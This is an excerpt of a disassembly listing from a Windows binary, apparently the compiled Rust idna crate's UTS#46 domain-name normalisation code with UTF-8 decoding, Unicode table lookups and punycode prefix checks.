jne 0x140042590
test bl, bl
jne 0x140042a10
mov dword [rsp + 0x100], r14d
jmp 0x140042027
cmp byte [rsp + 0x104], 0
je 0x1400425c0
cmp byte [rsp + 0x105], bl
jae 0x1400425de
mov ecx, ebp
mov edx, r14d
call fcn.1400f5bb0
cmp eax, 0x110000
je 0x1400425e6
mov dword [rsp + 0x100], eax
jmp 0x140042027
mov ecx, ebp
mov edx, r14d
call fcn.1400f5bb0
cmp eax, 0x110000
jne 0x1400428db
test bl, bl
jne 0x1400425e6
jmp 0x140042a86
test bl, bl
je 0x140042a5f
cmp dword [rsp + 0xe0], 0
je 0x140042630
mov rax, qword [rsp + 0xf8]
cmp rax, qword [rsp + 0xe8]
jne 0x140042617
lea rcx, [rsp + 0xe8]
call fcn.1400f6b10
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
mov dword [rcx + rax*4], r14d
inc rax
mov qword [rsp + 0xf8], rax
jmp 0x140042654
movzx eax, word [rsp + 0xe4]
cmp rax, 3
ja 0x1400429a3
mov dword [rsp + rax*4 + 0xe8], r14d
inc eax
mov word [rsp + 0xe4], ax
mov byte [rsp + 0x104], 1
mov byte [rsp + 0x105], bl
jmp 0x140042027
cmp edx, 0x110000
je 0x140042829
cmp byte [rsp + 0xd8], 0
je 0x14004275b
cmp edx, 0x80
jb 0x14004201f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x140041fbf
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x14015c198]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x14015df60]
mov rbp, qword [r9 + r8*8]
cmp edx, ebp
jne 0x1400428e7
mov rax, rbp
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x140044e81
shr rbp, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp rbp, rdx
ja 0x140044e92
lea rax, [0x140165680]
lea rbx, [rax + rcx*4]
test rbp, rbp
jne 0x140042966
jmp 0x140042027
cmp edx, 0x80
jb 0x14004201f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x140041fbf
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x140153b38]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x140154b54]
mov r14, qword [rcx + rax*8]
cmp edx, r14d
jne 0x14004201f
mov rax, r14
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044e70
shr r14, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r14, rdx
ja 0x140044ea1
test r14, r14
je 0x140042027
lea rax, [0x140158bbc]
lea rsi, [rax + rcx*4]
shl r14d, 2
xor edi, edi
nop dword [rax]
mov edx, dword [rsi + rdi]
mov rcx, r12
call fcn.140040360
add rdi, 4
cmp r14, rdi
jne 0x140042810
jmp 0x140042027
mov byte [rsp + 0xc0], 2
cmp dword [rsp + 0x70], 0
je 0x14004286b
mov rdx, qword [rsp + 0x88]
test rdx, rdx
lea rsi, [rsp + 0x78]
je 0x140042a20
mov r8, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rcx
jae 0x14004289f
jmp 0x140044e50
movzx edx, word [rsp + 0x74]
test rdx, rdx
lea rsi, [rsp + 0x78]
je 0x140042a20
cmp dx, 5
jae 0x140044e5c
mov r8, rsi
mov rcx, qword [rsp + 0xd0]
mov rax, rdx
sub rax, rcx
jb 0x140044e50
lea rcx, [r8 + rcx*8]
mov rdx, rax
call fcn.140041070
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x1400428c8
mov r9, qword [rsp + 0x88]
mov qword [rsp + 0xd0], r9
jmp 0x1400423a9
movzx r9d, word [rsp + 0x74]
mov qword [rsp + 0xd0], r9
jmp 0x1400423a9
mov dword [rsp + 0x100], eax
jmp 0x140042027
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x140153b38]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x140154b54]
mov rbp, qword [rcx + rax*8]
cmp edx, ebp
jne 0x14004201f
mov rax, rbp
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044e70
shr rbp, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rbp, rdx
ja 0x140044eb0
lea rax, [0x140158bbc]
lea rbx, [rax + rcx*4]
test rbp, rbp
je 0x140042027
shl ebp, 2
xor esi, esi
nop dword [rax + rax]
mov edx, dword [rbx + rsi]
mov rcx, r12
call fcn.140040360
add rsi, 4
cmp rbp, rsi
jne 0x140042970
jmp 0x140042027
shl ecx, 6
or ecx, edi
mov edx, ecx
jmp 0x14004269a
shl ecx, 0xc
or r9d, ecx
mov edx, r9d
jmp 0x14004269a
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0xe4]
mov r8d, r14d
call fcn.140106740
cmp dword [rsp + 0xe0], 0
je 0x1400429e7
cmp qword [rsp + 0xe8], 0
je 0x1400429e7
mov r8, qword [rsp + 0xf0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x170]
movups xmm1, xmmword [rsp + 0x180]
lea rax, [rsp + 0xc8]
movups xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x18], xmm0
jmp 0x140042654
mov ebp, r14d
jmp 0x140042b30
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x68], 0
mov ebp, dword [rsp + 0x100]
mov edx, 2
mov eax, 0
cmp ebp, 0x110000
je 0x140041f2a
mov dword [rsp + 0x100], 0x110000
jmp 0x140042b30
mov dword [rsp + 0x100], r14d
mov byte [rsp + 0x104], 0
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
jmp 0x140042b30
mov dword [rsp + 0x100], r14d
jmp 0x140042b30
cmp rax, rcx
jae 0x140042aea
mov rdx, r14
jmp 0x140042ab5
cmp r8w, 5
jae 0x140044ecb
lea rdx, [rsp + 0xe8]
cmp rax, rcx
jae 0x140042af8
mov ebp, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x68], rax
jmp 0x140042b30
lea r14, [rsp + 0xe8]
mov ebp, dword [r14 + rax*4]
inc rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rax
jmp 0x140042b30
mov qword [rsp + 0xf8], 0
jmp 0x140042b08
test r8w, r8w
je 0x140042b08
mov word [rsp + 0xe4], 0
mov ebp, dword [rsp + 0x100]
mov dword [rsp + 0x100], 0x110000
cmp ebp, 0x110000
je 0x140042dcd
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x158]
mov edx, ebp
call fcn.1400f72b0
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
jmp 0x140041f2a
mov rcx, qword [r15 + 8]
add rcx, r14
mov rdx, r8
mov r8, r9
mov rsi, r9
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [r15 + 0x10], r14
mov dword [rsp + 0x140], 0
xor r8d, r8d
xor r14d, r14d
xor ebp, ebp
xor ebx, ebx
mov dword [rsp + 0x138], 0
mov dword [rsp + 0x150], 0
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x148], 0
xor ecx, ecx
xor edx, edx
xor eax, eax
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x50], ebx
cmp byte [r13 + 0x32], 0
je 0x140044cfb
mov dword [rsp + 0x12c], ecx
mov rbx, qword [r15 + 8]
mov r15, qword [r15 + 0x10]
mov sil, 1
movabs rcx, 0x2e0000002e
test r15, r15
je 0x140042cce
mov r13d, edx
cmp byte [rbx + r15 - 1], 0x2e
jne 0x140042c13
dec r15
je 0x140042cce
mov dword [rsp + 0x128], r8d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
lea rdi, [rsp + 0x60]
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.140040030
test rax, rax
je 0x140042c82
test rdx, rdx
jne 0x140042c70
test rax, rax
movzx eax, r13b
mov esi, 1
cmove esi, eax
mov al, 1
cmp r15, 0xfd
mov r8d, dword [rsp + 0x128]
movabs rcx, 0x2e0000002e
jbe 0x140042cd1
jmp 0x140044cff
lea r8, [0x140129168]
mov rcx, rax
call fcn.140104670
lea r8, [0x140129180]
call fcn.140104670
xor r15d, r15d
mov r13d, r8d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
lea rdi, [rsp + 0x60]
nop
mov rcx, rdi
call fcn.140040030
test rax, rax
je 0x140042d33
cmp rdx, 0x40
jb 0x140042d20
test rax, rax
movzx ecx, byte [rsp + 0x12c]
mov eax, 1
cmove eax, ecx
mov r8d, r13d
jmp 0x140044cff
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x75a
mov rcx, 0xffffffffffffffff
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.140104670
lea r8, [0x140129150]
call fcn.140104670
mov rcx, r15
mov rdx, r14
mov rsi, r8
mov r8, r9
mov rdi, r9
call fcn.140104c70
mov r8, rsi
mov r9, rdi
mov r14, qword [r15 + 0x10]
jmp 0x140042b61
cmp dword [rsp + 0x70], 0
je 0x140042df3
cmp qword [rsp + 0x78], 0
je 0x140042df3
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test ebx, ebx
mov rsi, qword [rsp + 0x158]
je 0x140042e1c
cmp qword [rsp + 0xe8], 0
je 0x140042e1c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 8
mov qword [rsp + 0x1e8], 0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x198], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x1a8], 1
mov word [rsp + 0x1b0], 1
mov rbx, qword [rsp + 0x50]
mov rax, rbx
and rax, 0xffffffffffff00ff
mov qword [rsp + 0x148], rax
mov sil, 1
xor edi, edi
lea r12, [0x14014bd94]
xorps xmm6, xmm6
movdqa xmm11, xmmword [0x14010f8b0]
movdqa xmm12, xmmword [0x14010f780]
movdqa xmm13, xmmword [0x14010f8c0]
movdqa xmm14, xmmword [0x14010f8d0]
movdqa xmm15, xmmword [0x14010f8e0]
movdqa xmm7, xmmword [0x14010f8f0]
movdqa xmm8, xmmword [0x14010f900]
movdqa xmm9, xmmword [0x14010f910]
movdqa xmm10, xmmword [0x14010f920]
jmp 0x140042f6e
xor edi, edi
mov rcx, r13
mov rdx, r14
mov r8, rbx
lea r9, [rsp + 0x30]
call fcn.140040e80
mov rcx, qword [rsp + 0x350]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r14
jb 0x140043488
mov rsi, qword [rsp + 0x350]
mov rcx, qword [rsi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r14, rbp
mov qword [rsi + 0x10], r14
xor esi, esi
lea rcx, [rsp + 0x170]
call fcn.140040030
test rax, rax
je 0x140043d86
mov r13, rax
mov r14, rdx
test sil, 1
jne 0x140042fbc
mov rsi, qword [rsp + 0x350]
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi]
jne 0x140042fad
mov rcx, rsi
call fcn.1400cf3b0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 8]
mov byte [rcx + rax], 0x2e
inc rax
mov qword [rsi + 0x10], rax
cmp r14, 4
jb 0x140042fd0
cmp dword [r13], 0x2d2d6e78
je 0x140043105
test dil, 1
jne 0x140042f1d
test r14, r14
je 0x140042f1b
mov rax, r13
add rax, r14
mov rcx, r13
jmp 0x140042ff7
cmp rcx, rax
je 0x140042f1b
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
js 0x140043008
inc rcx
jmp 0x14004307c
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x14004305e
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x14004306e
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x140042f1b
add rcx, 4
jmp 0x14004307c
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x14004307c
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 0x21]
cmp r8d, 0x5e
jb 0x140042fee
mov r8d, 0x5a6
xor r10d, r10d
mov r9d, 0x5a6
jmp 0x1400430b3
cmp r11d, edx
cmova r9, r8
mov r8, r9
sub r8, r10
jbe 0x140042fee
shr r8, 1
add r8, r10
lea rsi, [r8 + r8*2]
mov r11d, dword [r12 + rsi*4]
mov edi, dword [r12 + rsi*4 + 4]
cmp edi, edx
jb 0x1400430cf
cmp r11d, edx
jbe 0x1400430de
cmp edi, edx
jae 0x1400430a0
mov r10, r8
inc r10
mov r8, r9
jmp 0x1400430a0
movzx edx, byte [r12 + rsi*4 + 8]
cmp edx, 0x11
ja 0x140042fee
mov r8d, 0x20003
bt r8d, edx
jae 0x140042fee
mov dil, 1
jmp 0x140042f1d
mov qword [rsp + 0x150], rdi
add r13, 4
add r14, 0xfffffffffffffffc
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x1d8]
mov r8, r13
mov r9, r14
call fcn.14003f220
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
je 0x140043479
mov rbx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x138], rax
mov r14, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
mov r13, qword [rsp + 0x350]
mov rax, qword [r13]
mov r15, qword [r13 + 0x10]
sub r8, rsi
sub rax, r15
cmp rax, r8
jb 0x140043cd0
mov qword [rsp + 0x130], r15
jmp 0x140043207
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x60], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x61], bpl
mov r13d, 2
mov rcx, qword [rsp + 0x350]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r13
jb 0x140043423
mov r15, qword [rsp + 0x350]
mov rcx, qword [r15 + 8]
add rcx, rbp
lea rdx, [rsp + 0x60]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rbp, r13
mov r13, r15
mov qword [r15 + 0x10], rbp
mov r15, qword [rsp + 0x138]
jmp 0x140043220
mov rcx, qword [r13 + 8]
mov byte [rcx + rax], bpl
inc rax
mov qword [r13 + 0x10], rax
cmp r14, r15
jae 0x1400432bf
mov rax, r14
shl rax, 4
add rax, qword [rsp + 0x118]
cmp qword [rax], rsi
jne 0x140043250
inc r14
mov ebp, dword [rax + 8]
jmp 0x140043372
mov rcx, rdi
mov rdi, rbx
cmp rcx, rbx
je 0x140043250
movzx r8d, byte [rcx]
test r8b, r8b
jns 0x140043347
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rcx + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x14004334f
movzx edx, byte [rcx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14004335e
movzx ebp, byte [rcx + 3]
add rcx, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
mov rdi, rcx
cmp ebp, 0x110000
je 0x140043250
jmp 0x140043331
cmp rdi, rbx
je 0x140043442
movzx r8d, byte [rdi]
test r8b, r8b
js 0x1400432e0
inc rdi
movzx ebp, r8b
inc rsi
jmp 0x14004337d
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x140043341
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043367
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
cmp ebp, 0x110000
je 0x140043442
add rdi, 4
mov rcx, rdi
mov rdi, rcx
cmp ebp, 0x110000
jne 0x140043372
jmp 0x140043442
add rdi, 2
jmp 0x140043356
inc rcx
mov rdi, rcx
jmp 0x1400432d4
add rcx, 2
mov rdi, rcx
shl eax, 6
or eax, r9d
jmp 0x140043370
add rcx, 3
mov rdi, rcx
jmp 0x14004336b
add rdi, 3
shl eax, 0xc
or eax, edx
mov ebp, eax
inc rsi
cmp ebp, 0x80
jae 0x14004339c
mov rax, qword [r13 + 0x10]
cmp rax, qword [r13]
jne 0x140043211
mov rcx, r13
call fcn.1400cf3b0
mov rax, qword [r13 + 0x10]
jmp 0x140043211
mov dword [rsp + 0x60], 0
mov eax, ebp
cmp ebp, 0x800
jb 0x1400431aa
cmp ebp, 0x10000
jae 0x1400433e8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x60], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x62], bpl
mov r13d, 3
jmp 0x1400431c6
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x60], al
mov eax, ebp
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x62], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x63], bpl
mov r13d, 4
jmp 0x1400431c6
mov r15, qword [rsp + 0x350]
mov rcx, r15
mov rdx, rbp
mov r8, r13
call fcn.140104c70
mov rbp, qword [r15 + 0x10]
jmp 0x1400431e1
mov rax, r13
mov r13, qword [r13 + 8]
mov rsi, qword [rax + 0x10]
mov r15, qword [rsp + 0x130]
test r15, r15
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x150]
je 0x1400434ad
cmp rsi, r15
jbe 0x1400434a7
cmp byte [r13 + r15], 0xbf
jg 0x1400434ad
jmp 0x140044f02
mov byte [rsp + 0x30], 1
mov dil, 1
xor esi, esi
jmp 0x140042f6e
mov rsi, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, rbp
mov r8, r14
call fcn.140104c70
mov rbp, qword [rsi + 0x10]
jmp 0x140042f4b
jne 0x140044f02
lea rax, [r15 + r13]
mov qword [rsp + 0x118], rax
test dil, 1
jne 0x14004358f
cmp rsi, r15
jne 0x1400434cf
xor edi, edi
jmp 0x14004358f
mov r14, rsi
add rsi, r13
mov rdi, qword [rsp + 0x118]
jmp 0x1400434e8
cmp rdi, rsi
je 0x14004358a
movzx r8d, byte [rdi]
movzx ecx, r8b
test cl, cl
js 0x1400434f9
inc rdi
jmp 0x14004355b
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043542
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043550
movzx ecx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x14004358a
add rdi, 4
jmp 0x14004355b
add rdi, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14004355b
add rdi, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x1400434df
call fcn.1400f5ae0
cmp al, 0x11
ja 0x1400434df
movzx eax, al
mov ecx, 0x20003
bt ecx, eax
jae 0x1400434df
mov dil, 1
jmp 0x14004358c
xor edi, edi
mov rsi, r14
movq xmm0, qword [rsp + 0x30]
movzx eax, byte [rsp + 0x39]
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd ecx, xmm1
or cl, byte [rsp + 0x38]
or al, byte [rsp + 0x3a]
or al, cl
or al, byte [rsp + 0x3b]
jne 0x140043d7f
mov r14, rdi
cmp rsi, r15
je 0x140043d4b
add r13, rsi
xor eax, eax
xor ebx, ebx
mov rdi, qword [rsp + 0x118]
movzx r8d, byte [rdi]
test r8b, r8b
js 0x1400435fe
inc rdi
jmp 0x14004367c
movzx ecx, r8b
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x14004364e
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x14004365c
movzx ebp, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, ecx
cmp ebp, 0x110000
je 0x140043b4d
add rdi, 4
jmp 0x140043667
add rdi, 2
shl ecx, 6
or ecx, r9d
mov ebp, ecx
jmp 0x140043667
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov ebp, edx
cmp ebp, 0x7f
jbe 0x14004367c
jmp 0x1400436fd
inc rdi
cmp ebp, 0x80
jae 0x1400436fb
cmp rdi, r13
je 0x140043b4d
movzx edx, byte [rdi]
movzx ebp, dl
test bpl, bpl
jns 0x140043671
mov eax, ebp
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp bpl, 0xdf
jbe 0x1400436dd
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x1400436eb
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x140043b4d
add rdi, 4
jmp 0x140043674
add rdi, 2
shl eax, 6
or eax, r8d
mov ebp, eax
jmp 0x140043674
add rdi, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
jmp 0x140043674
xor eax, eax
mov r15, rsi
mov esi, eax
mov ecx, ebp
call fcn.1400f5b50
cmp sil, al
mov rsi, r15
jbe 0x140043719
test al, al
jne case.0x1400438be.3907
lea ecx, [rbp - 0x340]
cmp ecx, 4
ja 0x14004372d
cmp ecx, 2
jne case.0x1400438be.3907
mov cl, 2
cmp ebp, 0xd56
jg 0x140043792
cmp ebp, 0x9de
jg 0x1400437d3
cmp ebp, 0x93b
jg 0x1400438e9
lea edx, [rbp - 0x30f]
cmp edx, 0x36
ja 0x14004376e
movabs r8, 0x48020000001005
bt r8, rdx
jb 0x1400439d2
lea edx, [rbp - 0x374]
cmp edx, 0x13
ja case.0x1400438be.3908
mov r8d, 0x80401
bt r8d, edx
jb case.0x1400438be.3907
jmp case.0x1400438be.3908
cmp ebp, 0x11126
jg 0x140043836
cmp ebp, 0x102d
jle 0x14004387a
cmp ebp, 0x1f70
jg 0x14004393b
cmp ebp, 0x102e
je 0x1400439cf
cmp ebp, 0x1b35
je 0x1400439cf
jmp case.0x1400438be.3908
cmp ebp, 0xbd6
jg 0x1400438c0
cmp ebp, 0xbbd
jg 0x1400439c7
lea edx, [rbp - 0xb3e]
cmp edx, 0x19
ja 0x140043806
mov r8d, 0x3000001
bt r8d, edx
jb 0x1400439cf
lea edx, [rbp - 0xa33]
cmp edx, 0x2b
ja 0x140043825
movabs r8, 0x80000000009
bt r8, rdx
jb case.0x1400438be.3907
cmp ebp, 0x9df
jne case.0x1400438be.3908
jmp case.0x1400438be.3907
cmp ebp, 0x114af
jle 0x140043912
lea edx, [rbp - 0x114b0]
cmp edx, 0xd
ja 0x14004385d
mov r8d, 0x2401
bt r8d, edx
jb 0x1400439cf
cmp ebp, 0x115af
je 0x1400439cf
cmp ebp, 0x11930
je 0x1400439cf
jmp case.0x1400438be.3908
lea edx, [rbp - 0xdca]
cmp edx, 0x15
ja 0x140043895
mov r8d, 0x200021
bt r8d, edx
jb 0x1400439cf
cmp ebp, 0xd57
je 0x1400439cf
lea edx, [rbp - 0xf43]
cmp edx, 0x76
ja case.0x1400438be.3908
lea r8, [0x140173c10]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xcc1
jg 0x14004398f
cmp ebp, 0xbd7
je 0x1400439cf
cmp ebp, 0xc56
je 0x1400439cf
jmp case.0x1400438be.3908
cmp ebp, 0x93c
je 0x1400439cf
cmp ebp, 0x9be
je 0x1400439cf
cmp ebp, 0x9d7
je 0x1400439cf
jmp case.0x1400438be.3908
cmp ebp, 0x11127
je 0x1400439cf
cmp ebp, 0x1133e
je 0x1400439cf
cmp ebp, 0x11357
je 0x1400439cf
jmp case.0x1400438be.3908
cmp ebp, 0xfa0f
jle 0x1400439a1
cmp ebp, 0x110ba
je 0x1400439cf
lea edx, [rbp - 0xfa10]
cmp edx, 0x12
ja 0x14004396a
mov r8d, 0x50005
bt r8d, edx
jb case.0x1400438be.3907
lea edx, [rbp - 0xfb1d]
cmp edx, 0x21
ja case.0x1400438be.3908
movabs r8, 0x200000005
bt r8, rdx
jb case.0x1400438be.3907
jmp case.0x1400438be.3908
cmp ebp, 0xcc2
je 0x1400439cf
cmp ebp, 0xd3e
je 0x1400439cf
jmp case.0x1400438be.3908
cmp ebp, 0x2125
jg 0x1400439e2
lea edx, [rbp - 0x1f71]
cmp edx, 0x8c
ja case.0x1400438be.3908
lea r8, [0x140173dec]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xbbe
jne case.0x1400438be.3908
mov rsi, r15
mov ebx, ecx
cmp rdi, r13
jne 0x1400435f0
jmp 0x140043b4f
lea edx, [rbp - 0x2329]
cmp edx, 2
jb case.0x1400438be.3907
cmp ebp, 0x2126
je case.0x1400438be.3907
cmp ebp, 0x2adc
je case.0x1400438be.3907
movd xmm1, ebp
pshufd xmm0, xmm1, 0
movdqa xmm2, xmm0
paddd xmm2, xmmword [0x14010f880]
movdqa xmm3, xmm0
paddd xmm3, xmmword [0x14010f890]
pxor xmm3, xmm12
pcmpgtd xmm3, xmm14
pxor xmm2, xmm12
pcmpgtd xmm2, xmm15
packssdw xmm2, xmm3
packsswb xmm2, xmm2
pmovmskb edx, xmm2
xor dl, 0xff
jne case.0x1400438be.3907
pshufd xmm1, xmm1, 0x50
pand xmm1, xmmword [0x14010f870]
pshufd xmm2, xmm1, 4
pcmpeqd xmm2, xmmword [0x14010f8a0]
movdqa xmm3, xmm0
paddd xmm3, xmm11
pxor xmm3, xmm12
movdqa xmm4, xmm13
pcmpgtd xmm4, xmm3
por xmm4, xmm2
movmskps edx, xmm4
test dl, dl
jne case.0x1400438be.3907
lea edx, [rbp - 0x1d1bb]
cmp edx, 6
jb case.0x1400438be.3907
lea edx, [rbp - 0x2f800]
cmp edx, 0x21e
jb case.0x1400438be.3907
movd edx, xmm1
cmp edx, 0x2000
je case.0x1400438be.3907
cmp edx, 0x212a
je case.0x1400438be.3907
cmp edx, 0xfb40
je case.0x1400438be.3907
movdqa xmm1, xmm0
paddd xmm1, xmm7
paddd xmm0, xmm8
pxor xmm0, xmm12
pcmpgtd xmm0, xmm9
pxor xmm1, xmm12
pcmpgtd xmm1, xmm10
packssdw xmm0, xmm1
packsswb xmm0, xmm0
pmovmskb r8d, xmm0
xor r8b, 0xff
jne 0x1400439cf
lea r8d, [rbp - 0x11a8]
cmp r8d, 0x1b
jb 0x1400439cf
cmp edx, 0x330
mov rsi, r15
je 0x1400439d2
add ebp, 0xffffcf67
cmp ebp, 2
movzx ecx, bl
mov edx, 2
cmovb ecx, edx
jmp 0x1400439d2
mov ecx, ebx
test cl, cl
je 0x140043d4b
movzx eax, cl
cmp eax, 1
je case.0x1400438be.3907
mov r15, rsi
lea rcx, [rsp + 0xa8]
movups xmmword [rcx], xmm6
mov byte [rcx + 0x10], 0
